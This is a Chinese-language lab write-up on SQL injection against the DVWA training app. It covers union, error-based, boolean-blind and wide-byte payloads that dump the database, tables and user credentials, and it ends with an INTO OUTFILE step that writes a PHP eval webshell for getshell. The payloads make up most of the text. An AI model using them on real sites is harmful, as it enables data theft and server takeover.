一、分别在前端和后端使用联合注入实现"库名-表名-字段名-数据"的注入过程，写清楚注入步骤
1、爆库
后端sql语句：
select database();
前端：
1' order by 1#，1' order by 2#，1' order by 3# 判断显示位为两位
1' union select database(),1# 查询出数据库名---dvwa2、爆表--dvwa数据库
后端sql语句：
select table_name from information_schema.tables where table_schema = database();
前端：
1' union select table_name,1 from information_schema.tables where table_schema = database()# 查询出dvwa数据库中有哪些表--guestbook,users3、爆字段名--dvwa数据库users表
后端sql语句：
select column_name from information_schema.columns where table_schema = database() and table_name = 'users';
前端：
1' union select column_name,1 from information_schema.columns where table_schema = database() and table_name = 'users dvwa数据库users表中的字段名--user_id，first_name，last_name，user，password，avatar，last_login，failed_login4、数据
后端sql语句：
select user,password from users;
前端：
1' union select user,password from users#二、分别在前端和后端使用报错注入实现"库名-表名-字段名-数据"的注入过程，写清楚注入步骤。
1、爆库
后端sql语句：
select extractvalue(1,concat(0x7e,database()));
前端：
1' and extractvalue(1,concat(0x7e,database()))#2、爆表--dvwa数据库
1）dvwa数据库中的数据表的个数
后端sql语句：
select count(table_name) from information_schema.tables where table_schema = database();
select extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = database())));
前端：
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = database())))#
2）dvwa数据库的数据表名----guestbook,users
select table_name from information_schema.tables where table_schema = database() limit 0,1;
select extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)));
select extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 1,1)));
前端：
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)))#
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 1,1)))#3、爆字段名--dvwa数据库users表
1）字段个数---8个
select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users';
后端sql语句：
select extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')));
前端：
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))#
2）字段名--user和password
后端sql语句：
select extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 0,1)));
前端：
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 0,1)))#4、数据--dvwa数据库users表user和password的值
后端sql语句：
select extractvalue(1,concat(0x7e,(select user from users where user_id = 1)));
select extractvalue(1,concat(0x7e,(select password from users where user_id = 1)));
前端：
1' and extractvalue(1,concat(0x7e,(select user from users where user_id = 1)))#
1' and extractvalue(1,concat(0x7e,(select password from users where user_id = 1)))#5、回答下列关于报错注入的问题：
（1）在extractvalue函数中，为什么'~'写在参数1的位置不报错，而写在参数2的位置报错？
因为extractvalue（XML_document，xpath_string）的第一个参数是string格式，代表XML文档对象的名称，是可以有'~'的，它的第二个参数虽然也是string格式，但第二个参数需满足xpath语法格式 ，代表XML文档的路径，而路径的字符串表示中是不可能有'~'的，所以'~'写在参数1的位置不报错，而写在参数2的位置会报错
（2）报错注入中，为什么要突破单引号的限制，如何突破？
突破单引号的限制是为了让'and'逃逸出来，使'and'在sql语句中的语义生效
按照sql语句的语法格式，在 and前面加一个单引号，使其在后端的sql语句中和前面的单引号进行闭合，在最后加一个#，表示截断注释，让后端的sql语句中最后的单引号失效，从而实现and的逃逸
（3）在报错注入过程中，为什么要进行报错，是哪种类型的报错？
当extractvalue函数的第二个参数不符合文档路径的语法，比如，出现'~'、'?'、'<'等文件路径名禁用的字符就会报错，这属于函数参数语法报错
三、任选布尔盲注或者时间盲注在前端和后端实现"库名-表名"的注入过程，写清楚注入步骤
1、猜解数据库名的长度--利用二分法
sql语句：select length(database())
1' and length(database()) > 10 # missing
1' and length(database()) > 5 # missing
1' and length(database()) > 3 # exists
1' and length(database()) = 4 # exists
1' and length(database()) = 5 # missing
数据库名的长度为42、猜解数据库名
sql语句：select ascii(substr(database(),1,1))
1' and ascii(substr(database(),1,1)) > 126 # missing
1' and ascii(substr(database(),1,1)) > 64 # exists
1' and ascii(substr(database(),1,1)) > 96 # exists
1' and ascii(substr(database(),1,1)) > 111 # missing
1' and ascii(substr(database(),1,1)) > 103 # missing
1' and ascii(substr(database(),1,1)) > 97 # exists
1' and ascii(substr(database(),1,1)) > 100 # missing
1' and ascii(substr(database(),1,1)) = 98 # missing
1' and ascii(substr(database(),1,1)) = 99 # missing
1' and ascii(substr(database(),1,1)) = 100 # exists
数据库名第一个字符的ascii码为100，对应的字符为d
1' and ascii(substr(database(),2,1)) > 126 # missing
1' and ascii(substr(database(),2,1)) > 64 # exists
1' and ascii(substr(database(),2,1)) > 98 # exists
1' and ascii(substr(database(),2,1)) > 110 # exists
1' and ascii(substr(database(),2,1)) > 118 # missing
1' and ascii(substr(database(),2,1)) > 114 # exists
1' and ascii(substr(database(),2,1)) > 116 # exists
1' and ascii(substr(database(),2,1)) = 117 # missing
1' and ascii(substr(database(),2,1)) = 118 # exists
数据库名第二个字符的ascii码为118，对应的字符为v
1' and ascii(substr(database(),3,1)) > 126 # m
1' and ascii(substr(database(),3,1)) >64 # e
1' and ascii(substr(database(),3,1)) >96 # e
1' and ascii(substr(database(),3,1)) >110 # e
1' and ascii(substr(database(),3,1)) >118 # e
1' and ascii(substr(database(),3,1)) >122 # m
1' and ascii(substr(database(),3,1)) >120 # m
1' and ascii(substr(database(),3,1)) =119 # e
数据库名第三个字符的ascii码为119，对应的字符为w
1' and ascii(substr(database(),4,1)) > 64 # e
1' and ascii(substr(database(),4,1)) > 96 # e
1' and ascii(substr(database(),4,1)) > 111 # m
1' and ascii(substr(database(),4,1)) > 103 # m
1' and ascii(substr(database(),4,1)) > 100 # m
1' and ascii(substr(database(),4,1)) > 98 # m
1' and ascii(substr(database(),4,1)) =97 # e
数据库名第四个字符的ascii码为97，对应的字符为a
数据库名为：dvwa3、猜解dvwa数据库中的数据表的个数
sql语句：select count(table_name) from information_schema.tables where table_schema = database()
1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 10# m
1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 5# m
1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 3# m
1' and (select count(table_name) from information_schema.tables where table_schema = database()) > 1# e
1' and (select count(table_name) from information_schema.tables where table_schema = database()) =2# e
dvwa数据库中的数据表的个数为：24、猜解dvea数据库中的数据表名
第一张表：
1）猜解第一张表的长度
sql语句：select length(table_name) from information_schema.tables where table_schema = database() limit 0,1
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)>10# m
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)>5# e
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)>8# e
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)=9# e
第一张表的长度为：9
2）猜解第一张表的名称
sql语句：select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) > 64# e
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) > 98# e
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) > 112# m
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) > 105# m
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) > 102# e
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) > 104# m
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =103# e
第一张表的第一个字符的ascii码为103，对应的字符为：g
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >64# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >98# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >112# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >120# m
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >116# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >118# m
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =117# e
第一张表的第二个字符的ascii码为117，对应的字符为：u
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >64# e
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >98# e
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >112# m
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >105# m
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >102# m
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >100# e
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =101# e
第一张表的第三个字符的ascii码为101，对就的字符为：e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >64# e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >98# e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >112# e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >119# m
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >116# m
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >114# e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =115# e
第一张表的第四个字符的ascii码为115，对应的字符为：s
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >64# e
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >98# e
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >112# e
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >120# m
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >116# m
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >114# e
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =115# m
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =116# e
第一张表的第五个字符的ascii码为116，对应的字符为：t
1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >64# e
1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >98# m
1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >81# e
1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >89# e
1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >94# e
1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >96# e
1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =97# m
1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =98# e
第一张表的第六个字符的ascii码为98，对应的字符为：b
1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >64# e
1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >98# e
1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >112# m
1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >105# e
1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >109# e
1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =110# m
1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =111# e
第一张表的第七个字符的ascii码为111，对应的字符为：o
1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >64# e
1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >98# e
1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >112# m
1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >105# e
1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >109# e
1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =110# m
1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =111# e
第一张表的第八个字符的ascii码为111，对应的字符为：o
1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >64# e
1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >98# e
1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >112# m
1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >105# e
1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >109# m
1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) >107# m
1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =106# m
1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema = 'dvwa' limit 0,1) =107# e
第一张表的第九个字符的ascii码为107，对就的字符为：kdvwa数据库第一张表的名称为：guestbook
第二张表：
1）猜解dvwa数据库第二张表的长度
sql语句：select length(table_name) from information_schema.tables where table_schema = database() limit 1,1
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)>10# m
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)>5# m
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)>3# e
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)=4# m
1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)=5# e
dvwa数据库第二张表的长度为：5
2）猜解dvwa数据库第二张表的名称
sql语句：select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > 64# e
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > 98# e
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > 112# e
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > 119# m
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > 116# e
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) =117# e
第二张表的第一个字符的ascii码为：117，对应的字符为：u
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >64# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >98# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >112# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >119# m
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >116# m
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >114# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) =115# e
第二张表的第二个字符的ascii码为：115，对应的字符为：s
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = database() limit 1,1) >64# e
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = database() limit 1,1) >98# e
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = database() limit 1,1) >112# m
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = database() limit 1,1) >105# m
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = database() limit 1,1) >102# m
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = database() limit 1,1) >100# e
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema = database() limit 1,1) =101# e
第二张表的第三个字符的ascii码为：101，对应的字符为：e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = database() limit 1,1) >64# e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = database() limit 1,1) >98# e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = database() limit 1,1) >112# e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = database() limit 1,1) >119# m
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = database() limit 1,1) >116# m
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = database() limit 1,1) >114# m
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = database() limit 1,1) =113# m
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema = database() limit 1,1) =114# e
第二张表的第四个字符的ascii码为：114，对应的字符为：r
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >64# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >98# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >112# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >119# m
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >116# m
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) >114# e
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema = database() limit 1,1) =115# e
第二张表的第五个字符的ascii码为：115，对应的字符为：sdvwa数据库的第二张表的名称为：users
5、猜解dvwa数据库users表的字段数
sql语句：select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'
1' and (select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users') > 10# m
1' and (select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users') > 5# e
1' and (select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users') > 8# m
1' and (select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users') > 7# e
1' and (select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'users') =8# e
dvwa数据库的users表中的字段数为：86、猜解dvwa数据库users表的字段名称
获取几个包含关键信息的字段，如：用户名、密码...
【猜想】数据库中可能保存的字段名称
用户名：username/user_name/uname/u_name/user/name/...
密码：password/pass_word/pwd/pass/...
sql语句：select count(*) from information_schema.columns where table_schema = database() and table_name = 'users' and column_name = 'username'
1' and (select count(*) from information_schema.columns where table_schema = database() and table_name = 'users' and column_name = 'username') = 1# m
1' and (select count(*) from information_schema.columns where table_schema = database() and table_name = 'users' and column_name = 'user') = 1# e
猜解出users表中的1个字段名为：user
1' and (select count(*) from information_schema.columns where table_schema = database() and table_name = 'users' and column_name = 'password') = 1# e
猜解出users表中的1个字段名为：passworddvwa数据库users表中的两个字段名为：user，password
7、猜解users表中user和password的字段值
user字段的字段值
1）user字段的值的个数----5个
sql语句：select count(user) from users
1' and (select count(user) from users) >10# m
1' and (select count(user) from users) >5# m
1' and (select count(user) from users) >3# e
........
2）猜解user字段第一个字段值的长度----5
sql语句：select length(user) from users limit 0,1
1' and (select length(user) from users limit 0,1) > 10# m
.......
3）猜解user字段第一个字段值---admin
sql语句：select ascii(substr(user,1,1)) from users limit 0,1;
1' and (select ascii(substr(user,1,1)) from users limit 0,1) > 64 # e
1' and (select ascii(substr(user,1,1)) from users limit 0,1) > 98 # m
1' and (select ascii(substr(user,1,1)) from users limit 0,1) > 88 # e
1' and (select ascii(substr(user,1,1)) from users limit 0,1) > 94 # e
1' and (select ascii(substr(user,1,1)) from users limit 0,1) > 96 # e
1' and (select ascii(substr(user,1,1)) from users limit 0,1) = 97 # e
user第一个字段的值为：a
........
user第二个字段的值为：d
user第三个字段的值为：m
user第四个字段的值为：i
user第五个字段的值为：n
4）猜user字段第二/三/四/五个字段值
。。。。。。password字段的字段值
同猜解user字段的字段值四、利用宽字节注入实现"库名-表名"的注入过程，写清楚注入步骤
1、爆库
lili%df' union select database(),version()#
2、爆表
sql语句：select table_name from information_schema.tables where table_schema = database()
lili%df' union select 1,table_name from information_schema.tables where table_schema = database()#
3、爆字段--users表
4、下载数据--users表中的username和password
sql语句：select username,password from users
lili%df' union select username,password from users#
五、利用SQL注入实现DVWA站点的Getshell，写清楚攻击步骤
#使用into outfile 写入一句话木马，文件名为shell2.php
1' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell2.php' #
使用蚁剑工具连接
使用Hackbar来连接shell2.php
